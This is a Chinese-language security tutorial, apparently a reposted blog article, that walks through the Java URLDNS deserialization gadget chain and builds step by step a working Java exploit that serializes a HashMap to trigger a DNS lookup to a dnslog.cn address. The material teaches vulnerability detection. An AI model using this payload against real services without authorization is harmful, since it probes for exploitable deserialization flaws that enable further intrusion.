Java安全 URLDNS链分析

Java安全 URLDNS链分析

  • 什么是URLDNS链
  • URLDNS链分析
    • 调用链路
    • HashMap类分析
    • URL类分析
  • exp编写
    • 思路整理
    • 初步exp
    • exp改进
    • 最终exp

什么是URLDNS链

URLDNS链是Java安全中比较简单的一条利用链,无需使用任何第三方库,全依靠Java内置的一些类实现,但无法进行命令执行,只能实现对URl的访问探测(发起DNS请求),并且不限制Java版本,可以用于检测是否存在反序列化漏洞,理解好URLDNS链,那么接下来对CC链的学习就会简单许多

URLDNS链分析

调用链路

Gadget Chain:HashMap.readObject()HashMap.putVal()HashMap.hash()URL.hashCode()

HashMap类分析

我们来到 HashMap.java文件,查看HashMap类readObject方法,代码如下

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException {// Read in the threshold (ignored), loadfactor, and any hidden stuffs.defaultReadObject();reinitialize();if (loadFactor <= 0 || Float.isNaN(loadFactor))throw new InvalidObjectException("Illegal load factor: " +loadFactor);s.readInt();                // Read and ignore number of bucketsint mappings = s.readInt(); // Read number of mappings (size)if (mappings < 0)throw new InvalidObjectException("Illegal mappings count: " +mappings);else if (mappings > 0) { // (if zero, use defaults)// Size the table using given load factor only if within// range of 0.25...4.0float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);float fc = (float)mappings / lf + 1.0f;int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?DEFAULT_INITIAL_CAPACITY :(fc >= MAXIMUM_CAPACITY) ?MAXIMUM_CAPACITY :tableSizeFor((int)fc));float ft = (float)cap * lf;threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?(int)ft : Integer.MAX_VALUE);@SuppressWarnings({"rawtypes","unchecked"})Node<K,V>[] tab = (Node<K,V>[])new Node[cap];table = tab;// Read the keys and values, and put the mappings in the HashMapfor (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")K key = (K) s.readObject();@SuppressWarnings("unchecked")V value = (V) s.readObject();putVal(hash(key), key, value, false, false);}}
}

我们看下该方法的最后一行代码

putVal(hash(key), key, value, false, false);

发现调用了对 key变量 调用了该类里里面的hash函数,然后我们分析下key参数是怎么获得的

通过以下代码可以看出定义了一个K类型的key变量,然后对反序列化的输入流进行反序列化,并把反序列化出的复制给key变量

K类型是代表键的泛型,其定义的数据可以是任何类型,但只能作为map中的键

K key = (K) s.readObject();

我们再看下 hash 函数是如何对key处理的,我们在HashMap类中找到hash函数代码如下

    static final int hash(Object key) {int h;return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);}

经分析,只要我们的key对象,也就是传入map的键不为空,就会执行h = key.hashCode(),也就是执行key对象里的hashCode()方法

URL类分析

这里接上文,假设我们传入map中的key为URL对象,那么便调用URL类中的hashCode()方法,我们看下这个方法的代码

    public synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;}

这里看到,只要 hashCode = -1的话,那么便会执行handler.hashCode(this);,我们去看下 hashcode 属性是怎么定义的

private int hashCode = -1;

我们发现 hashcode初始值为 -1,也就是默认执行handler.hashCode(this);,我们再去看看 handler 是怎么定义的,代表了什么,通过下面可得:handler属性代表了URLStreamHandler类的临时对象

transient URLStreamHandler handler;
//这个URL传输实现类是一个transient临时类型,不会被反序列化

经分析,也就是把这一整个URL对象作为参数,传入了URLStreamHandler类的hashCode方法

this代表的是当前对象的指针,也可以用 this.name 的方式调用当前对象中的成员

那我们去URLStreamHandler类当中,查看下hashCode方法的代码

protected int hashCode(URL u) {int h = 0;// Generate the protocol part.String protocol = u.getProtocol();if (protocol != null)h += protocol.hashCode();// Generate the host part.InetAddress addr = getHostAddress(u);if (addr != null) {h += addr.hashCode();} else {String host = u.getHost();if (host != null)h += host.toLowerCase().hashCode();}// Generate the file part.String file = u.getFile();if (file != null)h += file.hashCode();// Generate the port part.if (u.getPort() == -1)h += getDefaultPort();elseh += u.getPort();// Generate the ref part.String ref = u.getRef();if (ref != null)h += ref.hashCode();return h;}

我们看到 hashcode 方法接收一个URL类型的参数,然后对接收的 URL对象,也就是前面的key执行InetAddress addr = getHostAddress(u);并会把求出的 hash值 返回给 URL对象中的hashCode属性(这里记住,下面有用到)

getHostAddress函数会对URL对象代表的链接进行DNS解析,获取其ip地址,我们使用 DNSLog 平台可以检测到该函数的访问

exp编写

思路整理

根据上面的链路分析,我们首先需要创建一个指向DNSLog平台链接URL对象,然后作为传入HashMap数组,最后将该数组进行序列化,然后反序列化调用其readObject方法,将URL对象赋值给key,然后使用hash方法处理URL对象,再调用URL对象的hashcode方法,然后以URL对象为参数,传入URLStreamHandler类的hashCode方法,对URL对象指向的链接进行访问

初步exp

现在的exp大体如下

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;public class URLDNS {public static void main(String[] args) throws Exception {HashMap map = new HashMap();URL url = new URL("http://j0obud.dnslog.cn/");//这里替换为DNSLog平台分配的地址map.put(url,"114");//键值用不到,随便设置try {FileOutputStream outputStream = new FileOutputStream("./2.ser");ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);outputStream1.writeObject(map);outputStream.close();outputStream1.close();FileInputStream inputStream = new FileInputStream("./2.ser");ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);objectInputStream.readObject();objectInputStream.close();inputStream.close();}catch (Exception e){e.printStackTrace();}}
}

我们在第13行打个断点,也就是try的这一行
image-20240212212811603

然后运行代码,发现未经序列化与反序列化仍然能对url进行DNS解析
image-20240212212811603
正是下面这一行代码导致了url的提前解析

map.put(url,"114");//键值用不到,随便设置

我们去看下map(HashMap类)的put方法,代码如下

    public V put(K key, V value) {return putVal(hash(key), key, value, false, true);}

我们发现,这个put方法readObject方法触发的语句完全一样,同样会对URL对象执行HashMap类中的hash方法,然后就和上文所述的过程相同,最总到达hashCode方法,对URL对象解析

return putVal(hash(key), key, value, false, true);

下面是这两个方法的语句对比可以看到是一模一样的

put方法:
image-20240212213743511
readObject方法:

image-20240212213743511

需要注意的是假如提前触发的话,反序列化的时候便不会再进行DNS解析

我们再次回到URL类中的hashCode方法,并看一下其hashCode属性的定义

private int hashCode = -1;
public synchronized int hashCode() {if (hashCode != -1)return hashCode;hashCode = handler.hashCode(this);return hashCode;}

可以看到只有当 hashCode = -1时,才会执行hashCode = handler.hashCode(this);,从而到下一步DNS解析,然后 hashCode属性被赋值为这个URL解析的哈希值,从而为一个很长的正数,从而不为 -1,然后序列化的时候这个hashCode属性值保持不变,当反序列化到hashCode方法时,以为 hashCode != -1 直接进入if,执行return hashCode;,最终到这里就断掉了,无法触发DNS解析

exp改进

那怎么办呢?

我们可以先在put时,将 hashCode 值通过反射修改为任意一个不为 -1 的数字,从而不会提前触发DNS解析,然后在put完成后,我们再通过反射将 hashCode值设为 -1,示例如下

field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashCode(this);

通过反射我们可以动态修改一个对象中的属性和方法

最终exp

package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {public static void main(String[] args) throws Exception {HashMap map = new HashMap();URL url = new URL("http://mm4dhq.dnslog.cn/");//这里替换为DNSLog平台分配的地址Class clas = url.getClass();Field field = clas.getDeclaredField("hashCode");field.setAccessible(true);field.set(url,123); //将url的hashcode属性改为123使其不等于-1map.put(url,"2333"); //这里的value用不上,随便设置field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcodetry {//序列化FileOutputStream outputStream = new FileOutputStream("./2.ser");ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);outputStream1.writeObject(map);outputStream.close();outputStream1.close();//反序列化,此时触发dns请求FileInputStream inputStream = new FileInputStream("./2.ser");ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);objectInputStream.readObject();objectInputStream.close();inputStream.close();}catch (Exception e){e.printStackTrace();}}
}

我们再次在put语句下面打断点,观察是否还会提前触发,可以看到DNSLog平台没有记录,代表put时由于hashCode值不为 -1 ,没有执行handler.hashCode(this)

image-20240212213743511 我们在断点处继续执行,可以看到反序列化成功触发了DNS解析 image-20240212213743511

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/466620.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Blazor OIDC 单点登录授权实例5 - 独立SSR App (net8 webapp ) 端授权

目录: OpenID 与 OAuth2 基础知识Blazor wasm Google 登录Blazor wasm Gitee 码云登录Blazor OIDC 单点登录授权实例1-建立和配置IDS身份验证服务Blazor OIDC 单点登录授权实例2-登录信息组件wasmBlazor OIDC 单点登录授权实例3-服务端管理组件Blazor OIDC 单点登录授权实例4 …

lv14 中断处理原理:接口及按键驱动 14

一、什么是中断 一种硬件上的通知机制&#xff0c;用来通知CPU发生了某种需要立即处理的事件 分为&#xff1a; 内部中断 CPU执行程序的过程中&#xff0c;发生的一些硬件出错、运算出错事件&#xff08;如分母为0、溢出等等&#xff09;&#xff0c;不可屏蔽 外部中断 外设…

InternLM大模型实战-5.LMDeploy大模型量化部署实战

文章目录 前言笔记正文大模型部署背景部署挑战部署方案 LMDeploy框架量化推理引擎Turbomind推理服务api server 前言 本文是对于InternLM全链路开源体系系列课程的学习笔记 【LMDeploy 大模型量化部署实践】 https://www.bilibili.com/video/BV1iW4y1A77P/?share_sourcecopy_…

代码随想录算法训练营第四十九天(动态规划篇)| 474. 一和零, 完全背包理论基础

474. 一和零 题目链接&#xff1a;https://leetcode.cn/problems/ones-and-zeroes/submissions/501607337/ 思路 之前的背包问题中&#xff0c;我们对背包的限制是容量&#xff0c;即每个背包装的物品的重量和不超过给定容量&#xff0c;这道题的限制是0和1的个数&#xff0…

【原创】烟花实现,基于windows操作系统

前言&#xff1a; 烟花的实现是我自己独立实现的第一个项目。那时离除夕只剩几天&#xff0c;我刚学完贪吃蛇。其实个人也很喜欢烟花。所以想送给朋友一份礼物。于是觉得可以一试。构思了一会后&#xff0c;就直接进行了。 成品&#xff1a; 思路&#xff1a; 1.vs2022很多特…

利用Windows10漏洞破解密码(保姆级教学)

前言: 本篇博客只是技术分享并非非法传播知识,实验内容均是在虚拟机中进行,并非真实环境 正文: 一.windows10电脑密码破解 1)开启windows10虚拟机,停留在这个页面 2&#xff09;按5次Shift键,出现这个粘滞键,如果没有出现的,则说明漏洞已经修复 3)重新启动,在这个页面的时候…

VTK 三维场景的基本要素(相机) vtkCamera 相机的运动

相机的运动 当物体在处于静止位置时&#xff0c;相机可以在物体周围移动&#xff0c;摄取不同角度的图像 移动 移动分为相机的移动&#xff0c;和相机焦点的移动&#xff1b;移动改变了相机相对焦点的位置&#xff0c;离焦点更近或者更远&#xff1b;这样就会改变被渲染的物体…

Java实现陕西非物质文化遗产网站 JAVA+Vue+SpringBoot+MySQL

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 设计目标2.2 研究内容2.3 研究方法与过程2.3.1 系统设计2.3.2 查阅文献2.3.3 网站分析2.3.4 网站设计2.3.5 网站实现2.3.6 系统测试与效果分析 三、系统展示四、核心代码4.1 查询民间文学4.2 查询传统音乐4.3 增改传统舞…

前端滚动组件分享

分享一个前端可视化常用的卡片列表滚动组件&#xff0c;常用于可视化项目左右两侧的卡片列表的滚动。效果如下图所示&#xff1a; 组件描述 当鼠标移入滚动区域时&#xff0c;滚动行为停止当鼠标再次离开时&#xff0c;滚动继续 源码展示 <template><div ref"…

mac电脑如何批量删除文档软件?

在现代职场中&#xff0c;电脑成为了我们工作的延伸。但当职场生涯迎来转折点&#xff0c;比如离职时&#xff0c;我们往往需要把公司的设备——比如Mac电脑&#xff0c;清理干净再交还。这就涉及到一个问题&#xff1a;mac 删除软件如何高效、彻底地完成&#xff1f;这不仅是尊…

以谷歌浏览器为例 讲述 JavaScript 断点调试操作用法

今天来说个比较实用的东西 用浏览器开发者工具 对 javaScript代码进行调试 我们先创建一个index.html 编写代码如下 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content&…

书生谱语-大语言模型测试demo

课程内容简介 通用环境配置 开发机 InterStudio pip 换源 临时使用镜像源安装&#xff0c;如下所示&#xff1a;some-package 为你需要安装的包名 pip install -i https://mirrors.cernet.edu.cn/pypi/web/simple some-package设置pip默认镜像源&#xff0c;升级 pip 到最新…